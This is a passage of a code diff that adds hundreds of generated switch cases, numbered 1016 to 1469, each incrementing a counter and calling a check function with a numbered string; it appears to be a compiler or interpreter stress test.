+ case 1016: if (n[1016]++ > 0) check ('a string 1016'); break;
+ case 1017: if (n[1017]++ > 0) check ('a string 1017'); break;
+ case 1018: if (n[1018]++ > 0) check ('a string 1018'); break;
+ case 1019: if (n[1019]++ > 0) check ('a string 1019'); break;
+ case 1020: if (n[1020]++ > 0) check ('a string 1020'); break;
+ case 1021: if (n[1021]++ > 0) check ('a string 1021'); break;
+ case 1022: if (n[1022]++ > 0) check ('a string 1022'); break;
+ case 1023: if (n[1023]++ > 0) check ('a string 1023'); break;
+ case 1024: if (n[1024]++ > 0) check ('a string 1024'); break;
+ case 1025: if (n[1025]++ > 0) check ('a string 1025'); break;
+ case 1026: if (n[1026]++ > 0) check ('a string 1026'); break;
+ case 1027: if (n[1027]++ > 0) check ('a string 1027'); break;
+ case 1028: if (n[1028]++ > 0) check ('a string 1028'); break;
+ case 1029: if (n[1029]++ > 0) check ('a string 1029'); break;
+ case 1030: if (n[1030]++ > 0) check ('a string 1030'); break;
+ case 1031: if (n[1031]++ > 0) check ('a string 1031'); break;
+ case 1032: if (n[1032]++ > 0) check ('a string 1032'); break;
+ case 1033: if (n[1033]++ > 0) check ('a string 1033'); break;
+ case 1034: if (n[1034]++ > 0) check ('a string 1034'); break;
+ case 1035: if (n[1035]++ > 0) check ('a string 1035'); break;
+ case 1036: if (n[1036]++ > 0) check ('a string 1036'); break;
+ case 1037: if (n[1037]++ > 0) check ('a string 1037'); break;
+ case 1038: if (n[1038]++ > 0) check ('a string 1038'); break;
+ case 1039: if (n[1039]++ > 0) check ('a string 1039'); break;
+ case 1040: if (n[1040]++ > 0) check ('a string 1040'); break;
+ case 1041: if (n[1041]++ > 0) check ('a string 1041'); break;
+ case 1042: if (n[1042]++ > 0) check ('a string 1042'); break;
+ case 1043: if (n[1043]++ > 0) check ('a string 1043'); break;
+ case 1044: if (n[1044]++ > 0) check ('a string 1044'); break;
+ case 1045: if (n[1045]++ > 0) check ('a string 1045'); break;
+ case 1046: if (n[1046]++ > 0) check ('a string 1046'); break;
+ case 1047: if (n[1047]++ > 0) check ('a string 1047'); break;
+ case 1048: if (n[1048]++ > 0) check ('a string 1048'); break;
+ case 1049: if (n[1049]++ > 0) check ('a string 1049'); break;
+ case 1050: if (n[1050]++ > 0) check ('a string 1050'); break;
+ case 1051: if (n[1051]++ > 0) check ('a string 1051'); break;
+ case 1052: if (n[1052]++ > 0) check ('a string 1052'); break;
+ case 1053: if (n[1053]++ > 0) check ('a string 1053'); break;
+ case 1054: if (n[1054]++ > 0) check ('a string 1054'); break;
+ case 1055: if (n[1055]++ > 0) check ('a string 1055'); break;
+ case 1056: if (n[1056]++ > 0) check ('a string 1056'); break;
+ case 1057: if (n[1057]++ > 0) check ('a string 1057'); break;
+ case 1058: if (n[1058]++ > 0) check ('a string 1058'); break;
+ case 1059: if (n[1059]++ > 0) check ('a string 1059'); break;
+ case 1060: if (n[1060]++ > 0) check ('a string 1060'); break;
+ case 1061: if (n[1061]++ > 0) check ('a string 1061'); break;
+ case 1062: if (n[1062]++ > 0) check ('a string 1062'); break;
+ case 1063: if (n[1063]++ > 0) check ('a string 1063'); break;
+ case 1064: if (n[1064]++ > 0) check ('a string 1064'); break;
+ case 1065: if (n[1065]++ > 0) check ('a string 1065'); break;
+ case 1066: if (n[1066]++ > 0) check ('a string 1066'); break;
+ case 1067: if (n[1067]++ > 0) check ('a string 1067'); break;
+ case 1068: if (n[1068]++ > 0) check ('a string 1068'); break;
+ case 1069: if (n[1069]++ > 0) check ('a string 1069'); break;
+ case 1070: if (n[1070]++ > 0) check ('a string 1070'); break;
+ case 1071: if (n[1071]++ > 0) check ('a string 1071'); break;
+ case 1072: if (n[1072]++ > 0) check ('a string 1072'); break;
+ case 1073: if (n[1073]++ > 0) check ('a string 1073'); break;
+ case 1074: if (n[1074]++ > 0) check ('a string 1074'); break;
+ case 1075: if (n[1075]++ > 0) check ('a string 1075'); break;
+ case 1076: if (n[1076]++ > 0) check ('a string 1076'); break;
+ case 1077: if (n[1077]++ > 0) check ('a string 1077'); break;
+ case 1078: if (n[1078]++ > 0) check ('a string 1078'); break;
+ case 1079: if (n[1079]++ > 0) check ('a string 1079'); break;
+ case 1080: if (n[1080]++ > 0) check ('a string 1080'); break;
+ case 1081: if (n[1081]++ > 0) check ('a string 1081'); break;
+ case 1082: if (n[1082]++ > 0) check ('a string 1082'); break;
+ case 1083: if (n[1083]++ > 0) check ('a string 1083'); break;
+ case 1084: if (n[1084]++ > 0) check ('a string 1084'); break;
+ case 1085: if (n[1085]++ > 0) check ('a string 1085'); break;
+ case 1086: if (n[1086]++ > 0) check ('a string 1086'); break;
+ case 1087: if (n[1087]++ > 0) check ('a string 1087'); break;
+ case 1088: if (n[1088]++ > 0) check ('a string 1088'); break;
+ case 1089: if (n[1089]++ > 0) check ('a string 1089'); break;
+ case 1090: if (n[1090]++ > 0) check ('a string 1090'); break;
+ case 1091: if (n[1091]++ > 0) check ('a string 1091'); break;
+ case 1092: if (n[1092]++ > 0) check ('a string 1092'); break;
+ case 1093: if (n[1093]++ > 0) check ('a string 1093'); break;
+ case 1094: if (n[1094]++ > 0) check ('a string 1094'); break;
+ case 1095: if (n[1095]++ > 0) check ('a string 1095'); break;
+ case 1096: if (n[1096]++ > 0) check ('a string 1096'); break;
+ case 1097: if (n[1097]++ > 0) check ('a string 1097'); break;
+ case 1098: if (n[1098]++ > 0) check ('a string 1098'); break;
+ case 1099: if (n[1099]++ > 0) check ('a string 1099'); break;
+ case 1100: if (n[1100]++ > 0) check ('a string 1100'); break;
+ case 1101: if (n[1101]++ > 0) check ('a string 1101'); break;
+ case 1102: if (n[1102]++ > 0) check ('a string 1102'); break;
+ case 1103: if (n[1103]++ > 0) check ('a string 1103'); break;
+ case 1104: if (n[1104]++ > 0) check ('a string 1104'); break;
+ case 1105: if (n[1105]++ > 0) check ('a string 1105'); break;
+ case 1106: if (n[1106]++ > 0) check ('a string 1106'); break;
+ case 1107: if (n[1107]++ > 0) check ('a string 1107'); break;
+ case 1108: if (n[1108]++ > 0) check ('a string 1108'); break;
+ case 1109: if (n[1109]++ > 0) check ('a string 1109'); break;
+ case 1110: if (n[1110]++ > 0) check ('a string 1110'); break;
+ case 1111: if (n[1111]++ > 0) check ('a string 1111'); break;
+ case 1112: if (n[1112]++ > 0) check ('a string 1112'); break;
+ case 1113: if (n[1113]++ > 0) check ('a string 1113'); break;
+ case 1114: if (n[1114]++ > 0) check ('a string 1114'); break;
+ case 1115: if (n[1115]++ > 0) check ('a string 1115'); break;
+ case 1116: if (n[1116]++ > 0) check ('a string 1116'); break;
+ case 1117: if (n[1117]++ > 0) check ('a string 1117'); break;
+ case 1118: if (n[1118]++ > 0) check ('a string 1118'); break;
+ case 1119: if (n[1119]++ > 0) check ('a string 1119'); break;
+ case 1120: if (n[1120]++ > 0) check ('a string 1120'); break;
+ case 1121: if (n[1121]++ > 0) check ('a string 1121'); break;
+ case 1122: if (n[1122]++ > 0) check ('a string 1122'); break;
+ case 1123: if (n[1123]++ > 0) check ('a string 1123'); break;
+ case 1124: if (n[1124]++ > 0) check ('a string 1124'); break;
+ case 1125: if (n[1125]++ > 0) check ('a string 1125'); break;
+ case 1126: if (n[1126]++ > 0) check ('a string 1126'); break;
+ case 1127: if (n[1127]++ > 0) check ('a string 1127'); break;
+ case 1128: if (n[1128]++ > 0) check ('a string 1128'); break;
+ case 1129: if (n[1129]++ > 0) check ('a string 1129'); break;
+ case 1130: if (n[1130]++ > 0) check ('a string 1130'); break;
+ case 1131: if (n[1131]++ > 0) check ('a string 1131'); break;
+ case 1132: if (n[1132]++ > 0) check ('a string 1132'); break;
+ case 1133: if (n[1133]++ > 0) check ('a string 1133'); break;
+ case 1134: if (n[1134]++ > 0) check ('a string 1134'); break;
+ case 1135: if (n[1135]++ > 0) check ('a string 1135'); break;
+ case 1136: if (n[1136]++ > 0) check ('a string 1136'); break;
+ case 1137: if (n[1137]++ > 0) check ('a string 1137'); break;
+ case 1138: if (n[1138]++ > 0) check ('a string 1138'); break;
+ case 1139: if (n[1139]++ > 0) check ('a string 1139'); break;
+ case 1140: if (n[1140]++ > 0) check ('a string 1140'); break;
+ case 1141: if (n[1141]++ > 0) check ('a string 1141'); break;
+ case 1142: if (n[1142]++ > 0) check ('a string 1142'); break;
+ case 1143: if (n[1143]++ > 0) check ('a string 1143'); break;
+ case 1144: if (n[1144]++ > 0) check ('a string 1144'); break;
+ case 1145: if (n[1145]++ > 0) check ('a string 1145'); break;
+ case 1146: if (n[1146]++ > 0) check ('a string 1146'); break;
+ case 1147: if (n[1147]++ > 0) check ('a string 1147'); break;
+ case 1148: if (n[1148]++ > 0) check ('a string 1148'); break;
+ case 1149: if (n[1149]++ > 0) check ('a string 1149'); break;
+ case 1150: if (n[1150]++ > 0) check ('a string 1150'); break;
+ case 1151: if (n[1151]++ > 0) check ('a string 1151'); break;
+ case 1152: if (n[1152]++ > 0) check ('a string 1152'); break;
+ case 1153: if (n[1153]++ > 0) check ('a string 1153'); break;
+ case 1154: if (n[1154]++ > 0) check ('a string 1154'); break;
+ case 1155: if (n[1155]++ > 0) check ('a string 1155'); break;
+ case 1156: if (n[1156]++ > 0) check ('a string 1156'); break;
+ case 1157: if (n[1157]++ > 0) check ('a string 1157'); break;
+ case 1158: if (n[1158]++ > 0) check ('a string 1158'); break;
+ case 1159: if (n[1159]++ > 0) check ('a string 1159'); break;
+ case 1160: if (n[1160]++ > 0) check ('a string 1160'); break;
+ case 1161: if (n[1161]++ > 0) check ('a string 1161'); break;
+ case 1162: if (n[1162]++ > 0) check ('a string 1162'); break;
+ case 1163: if (n[1163]++ > 0) check ('a string 1163'); break;
+ case 1164: if (n[1164]++ > 0) check ('a string 1164'); break;
+ case 1165: if (n[1165]++ > 0) check ('a string 1165'); break;
+ case 1166: if (n[1166]++ > 0) check ('a string 1166'); break;
+ case 1167: if (n[1167]++ > 0) check ('a string 1167'); break;
+ case 1168: if (n[1168]++ > 0) check ('a string 1168'); break;
+ case 1169: if (n[1169]++ > 0) check ('a string 1169'); break;
+ case 1170: if (n[1170]++ > 0) check ('a string 1170'); break;
+ case 1171: if (n[1171]++ > 0) check ('a string 1171'); break;
+ case 1172: if (n[1172]++ > 0) check ('a string 1172'); break;
+ case 1173: if (n[1173]++ > 0) check ('a string 1173'); break;
+ case 1174: if (n[1174]++ > 0) check ('a string 1174'); break;
+ case 1175: if (n[1175]++ > 0) check ('a string 1175'); break;
+ case 1176: if (n[1176]++ > 0) check ('a string 1176'); break;
+ case 1177: if (n[1177]++ > 0) check ('a string 1177'); break;
+ case 1178: if (n[1178]++ > 0) check ('a string 1178'); break;
+ case 1179: if (n[1179]++ > 0) check ('a string 1179'); break;
+ case 1180: if (n[1180]++ > 0) check ('a string 1180'); break;
+ case 1181: if (n[1181]++ > 0) check ('a string 1181'); break;
+ case 1182: if (n[1182]++ > 0) check ('a string 1182'); break;
+ case 1183: if (n[1183]++ > 0) check ('a string 1183'); break;
+ case 1184: if (n[1184]++ > 0) check ('a string 1184'); break;
+ case 1185: if (n[1185]++ > 0) check ('a string 1185'); break;
+ case 1186: if (n[1186]++ > 0) check ('a string 1186'); break;
+ case 1187: if (n[1187]++ > 0) check ('a string 1187'); break;
+ case 1188: if (n[1188]++ > 0) check ('a string 1188'); break;
+ case 1189: if (n[1189]++ > 0) check ('a string 1189'); break;
+ case 1190: if (n[1190]++ > 0) check ('a string 1190'); break;
+ case 1191: if (n[1191]++ > 0) check ('a string 1191'); break;
+ case 1192: if (n[1192]++ > 0) check ('a string 1192'); break;
+ case 1193: if (n[1193]++ > 0) check ('a string 1193'); break;
+ case 1194: if (n[1194]++ > 0) check ('a string 1194'); break;
+ case 1195: if (n[1195]++ > 0) check ('a string 1195'); break;
+ case 1196: if (n[1196]++ > 0) check ('a string 1196'); break;
+ case 1197: if (n[1197]++ > 0) check ('a string 1197'); break;
+ case 1198: if (n[1198]++ > 0) check ('a string 1198'); break;
+ case 1199: if (n[1199]++ > 0) check ('a string 1199'); break;
+ case 1200: if (n[1200]++ > 0) check ('a string 1200'); break;
+ case 1201: if (n[1201]++ > 0) check ('a string 1201'); break;
+ case 1202: if (n[1202]++ > 0) check ('a string 1202'); break;
+ case 1203: if (n[1203]++ > 0) check ('a string 1203'); break;
+ case 1204: if (n[1204]++ > 0) check ('a string 1204'); break;
+ case 1205: if (n[1205]++ > 0) check ('a string 1205'); break;
+ case 1206: if (n[1206]++ > 0) check ('a string 1206'); break;
+ case 1207: if (n[1207]++ > 0) check ('a string 1207'); break;
+ case 1208: if (n[1208]++ > 0) check ('a string 1208'); break;
+ case 1209: if (n[1209]++ > 0) check ('a string 1209'); break;
+ case 1210: if (n[1210]++ > 0) check ('a string 1210'); break;
+ case 1211: if (n[1211]++ > 0) check ('a string 1211'); break;
+ case 1212: if (n[1212]++ > 0) check ('a string 1212'); break;
+ case 1213: if (n[1213]++ > 0) check ('a string 1213'); break;
+ case 1214: if (n[1214]++ > 0) check ('a string 1214'); break;
+ case 1215: if (n[1215]++ > 0) check ('a string 1215'); break;
+ case 1216: if (n[1216]++ > 0) check ('a string 1216'); break;
+ case 1217: if (n[1217]++ > 0) check ('a string 1217'); break;
+ case 1218: if (n[1218]++ > 0) check ('a string 1218'); break;
+ case 1219: if (n[1219]++ > 0) check ('a string 1219'); break;
+ case 1220: if (n[1220]++ > 0) check ('a string 1220'); break;
+ case 1221: if (n[1221]++ > 0) check ('a string 1221'); break;
+ case 1222: if (n[1222]++ > 0) check ('a string 1222'); break;
+ case 1223: if (n[1223]++ > 0) check ('a string 1223'); break;
+ case 1224: if (n[1224]++ > 0) check ('a string 1224'); break;
+ case 1225: if (n[1225]++ > 0) check ('a string 1225'); break;
+ case 1226: if (n[1226]++ > 0) check ('a string 1226'); break;
+ case 1227: if (n[1227]++ > 0) check ('a string 1227'); break;
+ case 1228: if (n[1228]++ > 0) check ('a string 1228'); break;
+ case 1229: if (n[1229]++ > 0) check ('a string 1229'); break;
+ case 1230: if (n[1230]++ > 0) check ('a string 1230'); break;
+ case 1231: if (n[1231]++ > 0) check ('a string 1231'); break;
+ case 1232: if (n[1232]++ > 0) check ('a string 1232'); break;
+ case 1233: if (n[1233]++ > 0) check ('a string 1233'); break;
+ case 1234: if (n[1234]++ > 0) check ('a string 1234'); break;
+ case 1235: if (n[1235]++ > 0) check ('a string 1235'); break;
+ case 1236: if (n[1236]++ > 0) check ('a string 1236'); break;
+ case 1237: if (n[1237]++ > 0) check ('a string 1237'); break;
+ case 1238: if (n[1238]++ > 0) check ('a string 1238'); break;
+ case 1239: if (n[1239]++ > 0) check ('a string 1239'); break;
+ case 1240: if (n[1240]++ > 0) check ('a string 1240'); break;
+ case 1241: if (n[1241]++ > 0) check ('a string 1241'); break;
+ case 1242: if (n[1242]++ > 0) check ('a string 1242'); break;
+ case 1243: if (n[1243]++ > 0) check ('a string 1243'); break;
+ case 1244: if (n[1244]++ > 0) check ('a string 1244'); break;
+ case 1245: if (n[1245]++ > 0) check ('a string 1245'); break;
+ case 1246: if (n[1246]++ > 0) check ('a string 1246'); break;
+ case 1247: if (n[1247]++ > 0) check ('a string 1247'); break;
+ case 1248: if (n[1248]++ > 0) check ('a string 1248'); break;
+ case 1249: if (n[1249]++ > 0) check ('a string 1249'); break;
+ case 1250: if (n[1250]++ > 0) check ('a string 1250'); break;
+ case 1251: if (n[1251]++ > 0) check ('a string 1251'); break;
+ case 1252: if (n[1252]++ > 0) check ('a string 1252'); break;
+ case 1253: if (n[1253]++ > 0) check ('a string 1253'); break;
+ case 1254: if (n[1254]++ > 0) check ('a string 1254'); break;
+ case 1255: if (n[1255]++ > 0) check ('a string 1255'); break;
+ case 1256: if (n[1256]++ > 0) check ('a string 1256'); break;
+ case 1257: if (n[1257]++ > 0) check ('a string 1257'); break;
+ case 1258: if (n[1258]++ > 0) check ('a string 1258'); break;
+ case 1259: if (n[1259]++ > 0) check ('a string 1259'); break;
+ case 1260: if (n[1260]++ > 0) check ('a string 1260'); break;
+ case 1261: if (n[1261]++ > 0) check ('a string 1261'); break;
+ case 1262: if (n[1262]++ > 0) check ('a string 1262'); break;
+ case 1263: if (n[1263]++ > 0) check ('a string 1263'); break;
+ case 1264: if (n[1264]++ > 0) check ('a string 1264'); break;
+ case 1265: if (n[1265]++ > 0) check ('a string 1265'); break;
+ case 1266: if (n[1266]++ > 0) check ('a string 1266'); break;
+ case 1267: if (n[1267]++ > 0) check ('a string 1267'); break;
+ case 1268: if (n[1268]++ > 0) check ('a string 1268'); break;
+ case 1269: if (n[1269]++ > 0) check ('a string 1269'); break;
+ case 1270: if (n[1270]++ > 0) check ('a string 1270'); break;
+ case 1271: if (n[1271]++ > 0) check ('a string 1271'); break;
+ case 1272: if (n[1272]++ > 0) check ('a string 1272'); break;
+ case 1273: if (n[1273]++ > 0) check ('a string 1273'); break;
+ case 1274: if (n[1274]++ > 0) check ('a string 1274'); break;
+ case 1275: if (n[1275]++ > 0) check ('a string 1275'); break;
+ case 1276: if (n[1276]++ > 0) check ('a string 1276'); break;
+ case 1277: if (n[1277]++ > 0) check ('a string 1277'); break;
+ case 1278: if (n[1278]++ > 0) check ('a string 1278'); break;
+ case 1279: if (n[1279]++ > 0) check ('a string 1279'); break;
+ case 1280: if (n[1280]++ > 0) check ('a string 1280'); break;
+ case 1281: if (n[1281]++ > 0) check ('a string 1281'); break;
+ case 1282: if (n[1282]++ > 0) check ('a string 1282'); break;
+ case 1283: if (n[1283]++ > 0) check ('a string 1283'); break;
+ case 1284: if (n[1284]++ > 0) check ('a string 1284'); break;
+ case 1285: if (n[1285]++ > 0) check ('a string 1285'); break;
+ case 1286: if (n[1286]++ > 0) check ('a string 1286'); break;
+ case 1287: if (n[1287]++ > 0) check ('a string 1287'); break;
+ case 1288: if (n[1288]++ > 0) check ('a string 1288'); break;
+ case 1289: if (n[1289]++ > 0) check ('a string 1289'); break;
+ case 1290: if (n[1290]++ > 0) check ('a string 1290'); break;
+ case 1291: if (n[1291]++ > 0) check ('a string 1291'); break;
+ case 1292: if (n[1292]++ > 0) check ('a string 1292'); break;
+ case 1293: if (n[1293]++ > 0) check ('a string 1293'); break;
+ case 1294: if (n[1294]++ > 0) check ('a string 1294'); break;
+ case 1295: if (n[1295]++ > 0) check ('a string 1295'); break;
+ case 1296: if (n[1296]++ > 0) check ('a string 1296'); break;
+ case 1297: if (n[1297]++ > 0) check ('a string 1297'); break;
+ case 1298: if (n[1298]++ > 0) check ('a string 1298'); break;
+ case 1299: if (n[1299]++ > 0) check ('a string 1299'); break;
+ case 1300: if (n[1300]++ > 0) check ('a string 1300'); break;
+ case 1301: if (n[1301]++ > 0) check ('a string 1301'); break;
+ case 1302: if (n[1302]++ > 0) check ('a string 1302'); break;
+ case 1303: if (n[1303]++ > 0) check ('a string 1303'); break;
+ case 1304: if (n[1304]++ > 0) check ('a string 1304'); break;
+ case 1305: if (n[1305]++ > 0) check ('a string 1305'); break;
+ case 1306: if (n[1306]++ > 0) check ('a string 1306'); break;
+ case 1307: if (n[1307]++ > 0) check ('a string 1307'); break;
+ case 1308: if (n[1308]++ > 0) check ('a string 1308'); break;
+ case 1309: if (n[1309]++ > 0) check ('a string 1309'); break;
+ case 1310: if (n[1310]++ > 0) check ('a string 1310'); break;
+ case 1311: if (n[1311]++ > 0) check ('a string 1311'); break;
+ case 1312: if (n[1312]++ > 0) check ('a string 1312'); break;
+ case 1313: if (n[1313]++ > 0) check ('a string 1313'); break;
+ case 1314: if (n[1314]++ > 0) check ('a string 1314'); break;
+ case 1315: if (n[1315]++ > 0) check ('a string 1315'); break;
+ case 1316: if (n[1316]++ > 0) check ('a string 1316'); break;
+ case 1317: if (n[1317]++ > 0) check ('a string 1317'); break;
+ case 1318: if (n[1318]++ > 0) check ('a string 1318'); break;
+ case 1319: if (n[1319]++ > 0) check ('a string 1319'); break;
+ case 1320: if (n[1320]++ > 0) check ('a string 1320'); break;
+ case 1321: if (n[1321]++ > 0) check ('a string 1321'); break;
+ case 1322: if (n[1322]++ > 0) check ('a string 1322'); break;
+ case 1323: if (n[1323]++ > 0) check ('a string 1323'); break;
+ case 1324: if (n[1324]++ > 0) check ('a string 1324'); break;
+ case 1325: if (n[1325]++ > 0) check ('a string 1325'); break;
+ case 1326: if (n[1326]++ > 0) check ('a string 1326'); break;
+ case 1327: if (n[1327]++ > 0) check ('a string 1327'); break;
+ case 1328: if (n[1328]++ > 0) check ('a string 1328'); break;
+ case 1329: if (n[1329]++ > 0) check ('a string 1329'); break;
+ case 1330: if (n[1330]++ > 0) check ('a string 1330'); break;
+ case 1331: if (n[1331]++ > 0) check ('a string 1331'); break;
+ case 1332: if (n[1332]++ > 0) check ('a string 1332'); break;
+ case 1333: if (n[1333]++ > 0) check ('a string 1333'); break;
+ case 1334: if (n[1334]++ > 0) check ('a string 1334'); break;
+ case 1335: if (n[1335]++ > 0) check ('a string 1335'); break;
+ case 1336: if (n[1336]++ > 0) check ('a string 1336'); break;
+ case 1337: if (n[1337]++ > 0) check ('a string 1337'); break;
+ case 1338: if (n[1338]++ > 0) check ('a string 1338'); break;
+ case 1339: if (n[1339]++ > 0) check ('a string 1339'); break;
+ case 1340: if (n[1340]++ > 0) check ('a string 1340'); break;
+ case 1341: if (n[1341]++ > 0) check ('a string 1341'); break;
+ case 1342: if (n[1342]++ > 0) check ('a string 1342'); break;
+ case 1343: if (n[1343]++ > 0) check ('a string 1343'); break;
+ case 1344: if (n[1344]++ > 0) check ('a string 1344'); break;
+ case 1345: if (n[1345]++ > 0) check ('a string 1345'); break;
+ case 1346: if (n[1346]++ > 0) check ('a string 1346'); break;
+ case 1347: if (n[1347]++ > 0) check ('a string 1347'); break;
+ case 1348: if (n[1348]++ > 0) check ('a string 1348'); break;
+ case 1349: if (n[1349]++ > 0) check ('a string 1349'); break;
+ case 1350: if (n[1350]++ > 0) check ('a string 1350'); break;
+ case 1351: if (n[1351]++ > 0) check ('a string 1351'); break;
+ case 1352: if (n[1352]++ > 0) check ('a string 1352'); break;
+ case 1353: if (n[1353]++ > 0) check ('a string 1353'); break;
+ case 1354: if (n[1354]++ > 0) check ('a string 1354'); break;
+ case 1355: if (n[1355]++ > 0) check ('a string 1355'); break;
+ case 1356: if (n[1356]++ > 0) check ('a string 1356'); break;
+ case 1357: if (n[1357]++ > 0) check ('a string 1357'); break;
+ case 1358: if (n[1358]++ > 0) check ('a string 1358'); break;
+ case 1359: if (n[1359]++ > 0) check ('a string 1359'); break;
+ case 1360: if (n[1360]++ > 0) check ('a string 1360'); break;
+ case 1361: if (n[1361]++ > 0) check ('a string 1361'); break;
+ case 1362: if (n[1362]++ > 0) check ('a string 1362'); break;
+ case 1363: if (n[1363]++ > 0) check ('a string 1363'); break;
+ case 1364: if (n[1364]++ > 0) check ('a string 1364'); break;
+ case 1365: if (n[1365]++ > 0) check ('a string 1365'); break;
+ case 1366: if (n[1366]++ > 0) check ('a string 1366'); break;
+ case 1367: if (n[1367]++ > 0) check ('a string 1367'); break;
+ case 1368: if (n[1368]++ > 0) check ('a string 1368'); break;
+ case 1369: if (n[1369]++ > 0) check ('a string 1369'); break;
+ case 1370: if (n[1370]++ > 0) check ('a string 1370'); break;
+ case 1371: if (n[1371]++ > 0) check ('a string 1371'); break;
+ case 1372: if (n[1372]++ > 0) check ('a string 1372'); break;
+ case 1373: if (n[1373]++ > 0) check ('a string 1373'); break;
+ case 1374: if (n[1374]++ > 0) check ('a string 1374'); break;
+ case 1375: if (n[1375]++ > 0) check ('a string 1375'); break;
+ case 1376: if (n[1376]++ > 0) check ('a string 1376'); break;
+ case 1377: if (n[1377]++ > 0) check ('a string 1377'); break;
+ case 1378: if (n[1378]++ > 0) check ('a string 1378'); break;
+ case 1379: if (n[1379]++ > 0) check ('a string 1379'); break;
+ case 1380: if (n[1380]++ > 0) check ('a string 1380'); break;
+ case 1381: if (n[1381]++ > 0) check ('a string 1381'); break;
+ case 1382: if (n[1382]++ > 0) check ('a string 1382'); break;
+ case 1383: if (n[1383]++ > 0) check ('a string 1383'); break;
+ case 1384: if (n[1384]++ > 0) check ('a string 1384'); break;
+ case 1385: if (n[1385]++ > 0) check ('a string 1385'); break;
+ case 1386: if (n[1386]++ > 0) check ('a string 1386'); break;
+ case 1387: if (n[1387]++ > 0) check ('a string 1387'); break;
+ case 1388: if (n[1388]++ > 0) check ('a string 1388'); break;
+ case 1389: if (n[1389]++ > 0) check ('a string 1389'); break;
+ case 1390: if (n[1390]++ > 0) check ('a string 1390'); break;
+ case 1391: if (n[1391]++ > 0) check ('a string 1391'); break;
+ case 1392: if (n[1392]++ > 0) check ('a string 1392'); break;
+ case 1393: if (n[1393]++ > 0) check ('a string 1393'); break;
+ case 1394: if (n[1394]++ > 0) check ('a string 1394'); break;
+ case 1395: if (n[1395]++ > 0) check ('a string 1395'); break;
+ case 1396: if (n[1396]++ > 0) check ('a string 1396'); break;
+ case 1397: if (n[1397]++ > 0) check ('a string 1397'); break;
+ case 1398: if (n[1398]++ > 0) check ('a string 1398'); break;
+ case 1399: if (n[1399]++ > 0) check ('a string 1399'); break;
+ case 1400: if (n[1400]++ > 0) check ('a string 1400'); break;
+ case 1401: if (n[1401]++ > 0) check ('a string 1401'); break;
+ case 1402: if (n[1402]++ > 0) check ('a string 1402'); break;
+ case 1403: if (n[1403]++ > 0) check ('a string 1403'); break;
+ case 1404: if (n[1404]++ > 0) check ('a string 1404'); break;
+ case 1405: if (n[1405]++ > 0) check ('a string 1405'); break;
+ case 1406: if (n[1406]++ > 0) check ('a string 1406'); break;
+ case 1407: if (n[1407]++ > 0) check ('a string 1407'); break;
+ case 1408: if (n[1408]++ > 0) check ('a string 1408'); break;
+ case 1409: if (n[1409]++ > 0) check ('a string 1409'); break;
+ case 1410: if (n[1410]++ > 0) check ('a string 1410'); break;
+ case 1411: if (n[1411]++ > 0) check ('a string 1411'); break;
+ case 1412: if (n[1412]++ > 0) check ('a string 1412'); break;
+ case 1413: if (n[1413]++ > 0) check ('a string 1413'); break;
+ case 1414: if (n[1414]++ > 0) check ('a string 1414'); break;
+ case 1415: if (n[1415]++ > 0) check ('a string 1415'); break;
+ case 1416: if (n[1416]++ > 0) check ('a string 1416'); break;
+ case 1417: if (n[1417]++ > 0) check ('a string 1417'); break;
+ case 1418: if (n[1418]++ > 0) check ('a string 1418'); break;
+ case 1419: if (n[1419]++ > 0) check ('a string 1419'); break;
+ case 1420: if (n[1420]++ > 0) check ('a string 1420'); break;
+ case 1421: if (n[1421]++ > 0) check ('a string 1421'); break;
+ case 1422: if (n[1422]++ > 0) check ('a string 1422'); break;
+ case 1423: if (n[1423]++ > 0) check ('a string 1423'); break;
+ case 1424: if (n[1424]++ > 0) check ('a string 1424'); break;
+ case 1425: if (n[1425]++ > 0) check ('a string 1425'); break;
+ case 1426: if (n[1426]++ > 0) check ('a string 1426'); break;
+ case 1427: if (n[1427]++ > 0) check ('a string 1427'); break;
+ case 1428: if (n[1428]++ > 0) check ('a string 1428'); break;
+ case 1429: if (n[1429]++ > 0) check ('a string 1429'); break;
+ case 1430: if (n[1430]++ > 0) check ('a string 1430'); break;
+ case 1431: if (n[1431]++ > 0) check ('a string 1431'); break;
+ case 1432: if (n[1432]++ > 0) check ('a string 1432'); break;
+ case 1433: if (n[1433]++ > 0) check ('a string 1433'); break;
+ case 1434: if (n[1434]++ > 0) check ('a string 1434'); break;
+ case 1435: if (n[1435]++ > 0) check ('a string 1435'); break;
+ case 1436: if (n[1436]++ > 0) check ('a string 1436'); break;
+ case 1437: if (n[1437]++ > 0) check ('a string 1437'); break;
+ case 1438: if (n[1438]++ > 0) check ('a string 1438'); break;
+ case 1439: if (n[1439]++ > 0) check ('a string 1439'); break;
+ case 1440: if (n[1440]++ > 0) check ('a string 1440'); break;
+ case 1441: if (n[1441]++ > 0) check ('a string 1441'); break;
+ case 1442: if (n[1442]++ > 0) check ('a string 1442'); break;
+ case 1443: if (n[1443]++ > 0) check ('a string 1443'); break;
+ case 1444: if (n[1444]++ > 0) check ('a string 1444'); break;
+ case 1445: if (n[1445]++ > 0) check ('a string 1445'); break;
+ case 1446: if (n[1446]++ > 0) check ('a string 1446'); break;
+ case 1447: if (n[1447]++ > 0) check ('a string 1447'); break;
+ case 1448: if (n[1448]++ > 0) check ('a string 1448'); break;
+ case 1449: if (n[1449]++ > 0) check ('a string 1449'); break;
+ case 1450: if (n[1450]++ > 0) check ('a string 1450'); break;
+ case 1451: if (n[1451]++ > 0) check ('a string 1451'); break;
+ case 1452: if (n[1452]++ > 0) check ('a string 1452'); break;
+ case 1453: if (n[1453]++ > 0) check ('a string 1453'); break;
+ case 1454: if (n[1454]++ > 0) check ('a string 1454'); break;
+ case 1455: if (n[1455]++ > 0) check ('a string 1455'); break;
+ case 1456: if (n[1456]++ > 0) check ('a string 1456'); break;
+ case 1457: if (n[1457]++ > 0) check ('a string 1457'); break;
+ case 1458: if (n[1458]++ > 0) check ('a string 1458'); break;
+ case 1459: if (n[1459]++ > 0) check ('a string 1459'); break;
+ case 1460: if (n[1460]++ > 0) check ('a string 1460'); break;
+ case 1461: if (n[1461]++ > 0) check ('a string 1461'); break;
+ case 1462: if (n[1462]++ > 0) check ('a string 1462'); break;
+ case 1463: if (n[1463]++ > 0) check ('a string 1463'); break;
+ case 1464: if (n[1464]++ > 0) check ('a string 1464'); break;
+ case 1465: if (n[1465]++ > 0) check ('a string 1465'); break;
+ case 1466: if (n[1466]++ > 0) check ('a string 1466'); break;
+ case 1467: if (n[1467]++ > 0) check ('a string 1467'); break;
+ case 1468: if (n[1468]++ > 0) check ('a string 1468'); break;
+ case 1469: if (n[1469]++ > 0) check ('a string 1469'); break;
